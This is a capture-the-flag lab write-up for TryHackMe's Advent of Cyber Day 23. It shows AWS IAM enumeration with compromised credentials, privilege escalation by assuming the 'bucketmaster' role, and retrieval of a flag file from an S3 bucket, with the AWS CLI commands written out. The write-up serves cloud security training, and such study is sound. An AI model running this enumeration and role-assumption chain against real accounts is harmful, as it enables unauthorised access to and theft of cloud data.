TryHackMe Advent of Cyber 2025

Day 23 Challenge Report

AWS Security - IAM Enumeration & S3 Exploitation

1. Executive Summary

Day 23 focused on Amazon Web Services (AWS) security, specifically Identity and Access Management (IAM) enumeration and S3 bucket exploitation. Successfully configured AWS CLI with compromised credentials, verified identity using Security Token Service (STS), enumerated IAM users/groups/roles/policies, discovered AssumeRole capability, assumed the bucketmaster role to gain elevated S3 permissions, listed S3 buckets, accessed restricted easter-secrets bucket, and exfiltrated cloud_password.txt containing flag. Demonstrated practical understanding of AWS account structure, IAM privilege escalation paths, role assumption mechanisms, S3 security misconfigurations, and cloud penetration testing methodologies.

2. AWS CLI Configuration & Verification

2.1 Security Token Service (STS)

AWS Security Token Service (STS) enables temporary credential management and identity verification. The get-caller-identity API call retrieves information about the currently configured AWS credentials, including User ID, Account number, and Amazon Resource Name (ARN). This is the first step in any AWS security assessment—verifying credential validity and determining the identity's scope of access.

2.2 Identity Verification

```
aws sts get-caller-identity
```

Output:

```
{    "UserId": "mib2doquugmepk4lrvu3",    "Account": "123456789012",    "Arn":
"arn:aws:iam::123456789012:user/sir.carrotbane" }
```

Question 1: Account Parameter?

Answer: 123456789012

Analysis: Credentials belong to user 'sir.carrotbane' in AWS account 123456789012. The ARN (Amazon Resource Name) provides complete identity path: arn:aws:iam::ACCOUNT:user/USERNAME.

3. Understanding IAM

3.1 What is IAM?

Identity and Access Management (IAM) is AWS's centralized permission management system controlling who can access which resources and what actions they can perform. IAM misconfiguration has caused major security breaches at Toyota, Accenture, and Verizon—exposing customer data and sensitive documents. Understanding IAM is critical for both attackers and defenders.

3.2 IAM Users

An IAM User represents a single identity with unique credentials (passwords or access keys). Permissions can be granted directly at user level, defining specific access scope. Each user has: unique identifier (UserId), human-readable name (UserName), creation timestamp, and optional access keys for programmatic access.

3.3 IAM Groups

Groups simplify permission management for multiple users. Instead of granting permissions individually to hundreds of users, administrators create groups (e.g., 'Developers', 'Database-Admins'), assign permissions to the group, then add/remove users as needed. When user leaves organization or changes roles, simply remove from group—all associated permissions revoke automatically.

3.4 IAM Roles

Roles provide temporary identities that can be assumed by users, services, or external accounts to gain specific permissions. Think of roles as 'hats' you can wear temporarily. Sir Carrotbane might assume 'Attacker' role (wielding swords) or 'Defender' role (carrying shield). Unlike users with permanent credentials, roles issue temporary security tokens that expire. This limits damage if credentials are compromised.

3.5 IAM Policies

Policies are JSON documents defining permissions. Every permission in AWS is controlled through policies specifying: Action (what can be done), Resource (on which AWS resources), Condition (under what circumstances), and Principal (who can do it).

Example Policy:

```
{   "Version": "2012-10-17",   "Statement": [{     "Effect": "Allow",     "Principal": {"AWS": "arn:aws:iam::123456789012:user/Alice"},     "Action": ["s3:GetObject"],     "Resource": "arn:aws:s3:::my-private-bucket/*"   }] }
```

This policy grants Alice permission to download (GetObject) files from my-private-bucket.

Question 2: IAM Component for Permissions?

Answer: Policy

3.6 Policy Types

- **Inline Policies:** Hard-coded directly in user/group/role. Deleted when identity deleted.
- **Managed Policies:** Reusable, attached to multiple identities. Change once, affects all.

4. User Enumeration

4.1 Listing Users

```
aws iam list-users
```

Output displays all IAM users in account with creation dates, providing attacker with complete user roster for targeted enumeration.

4.2 Enumerating User Policies

Inline Policies:

```
aws iam list-user-policies --user-name sir.carrotbane
```

Attached Policies:

```
aws iam list-attached-user-policies --user-name sir.carrotbane
```

Group Membership:

```
aws iam list-groups-for-user --user-name sir.carrotbane
```

Result: sir.carrotbane has inline policy but no attached policies or group memberships.

4.3 Policy Content Analysis

```
aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
```

Permissions Discovered:

- iam:ListUsers, ListGroups, ListRoles
- iam:ListAttachedUserPolicies, GetUserPolicy
- iam:GetUser, GetGroup, GetRole
- **sts:AssumeRole** - Critical privilege!

Question 3: Policy Name?

Answer: SirCarrotbanePolicy

Analysis: Policy grants IAM enumeration capabilities but limited direct access. However, sts:AssumeRole is privilege escalation vector—allows assuming other roles with potentially greater permissions.

5. Role Enumeration & Assumption

5.1 Listing Roles

```
aws iam list-roles
```

Key Finding:

Role 'bucketmaster' discovered with AssumeRolePolicyDocument allowing sir.carrotbane to assume it. This is trust policy—defines who can assume the role.

5.2 Role Policy Analysis

```
aws iam list-role-policies --role-name bucketmaster aws iam get-role-policy --role-name
bucketmaster --policy-name BucketMasterPolicy
```

Permissions Granted:

1. **s3:ListAllMyBuckets:** List all S3 buckets in account
2. **s3:ListBucket:** List objects in easter-secrets-123145 and bunny-website-645341
3. **s3:GetObject:** Download files from easter-secrets-123145/*

Question 4: Third Action?

Answer: ListAllMyBuckets

5.3 Assuming the Role

```
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-
name TBFC
```

Response Contains:

- AccessKeyId: Temporary access key
- SecretAccessKey: Temporary secret
- SessionToken: Token for temporary credentials
- Expiration: Validity period

5.4 Setting Temporary Credentials

```
export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxx" export
AWS_SECRET_ACCESS_KEY="abcd1234xxxxxxxxxxx" export AWS_SESSION_TOKEN="FwoGZXIvYXdzEJr..."
```

Verify role assumption: Running aws sts get-caller-identity now shows bucketmaster role instead of sir.carrotbane user.

6. S3 Exploitation

6.1 What is S3?

Amazon S3 (Simple Storage Service) is object storage service storing any file type: images, documents, logs, backups. Organizations use S3 for website assets, client document sharing, internal service files, and data lakes. Objects are organized into 'buckets' (cloud directories). S3 misconfigurations frequently expose sensitive data—misconfigured public buckets have leaked customer data at Capital One, Verizon, and numerous other companies.

6.2 Listing Buckets

```
aws s3api list-buckets
```

Output reveals bucket named 'easter-secrets-123145'—naming suggests sensitive content.

6.3 Listing Bucket Contents

```
aws s3api list-objects --bucket easter-secrets-123145
```

Discovered file: cloud_password.txt

6.4 Downloading Object

```
aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt
cloud_password.txt
```

Verification:

```
ls cat cloud_password.txt
```

Question 5: File Contents?

Flag: THM{more_like_sir_couldbane}

7. Attack Chain Summary

4. Obtained sir.carrotbane credentials (assumed from prior compromise)
5. Verified credentials with get-caller-identity
6. Enumerated IAM users, groups, roles, policies
7. Discovered sir.carrotbane has sts:AssumeRole permission
8. Found bucketmaster role assumable by sir.carrotbane
9. Analyzed bucketmaster permissions: S3 access
10. Assumed bucketmaster role via STS
11. Listed S3 buckets, identified easter-secrets
12. Downloaded cloud_password.txt
13. Retrieved flag: THM{more_like_sir_couldbane}

8. Key Skills Developed

- AWS CLI configuration and usage
- IAM architecture understanding
- User/group/role/policy enumeration
- Policy document analysis (JSON)
- Privilege escalation via role assumption
- S3 bucket enumeration and exploitation
- Temporary credential management
- Cloud penetration testing methodology

9. Conclusion

Day 23 provided comprehensive AWS security training focusing on IAM privilege escalation and S3 exploitation. Successfully demonstrated attacker perspective: enumerating cloud resources, identifying privilege escalation paths through role assumption, and accessing restricted data. Critical lessons: IAM misconfigurations enable lateral movement and privilege escalation. AssumeRole permission is powerful—grants access to any role trusting the identity. S3 bucket permissions must be carefully configured—even with proper IAM, misconfigured bucket policies expose data. Temporary credentials from assumed roles limit exposure but require proper tracking. Cloud penetration testing requires understanding IAM relationships, trust policies, and service-specific permissions.

Challenge Status: COMPLETED ✓ - All 5 Questions Answered!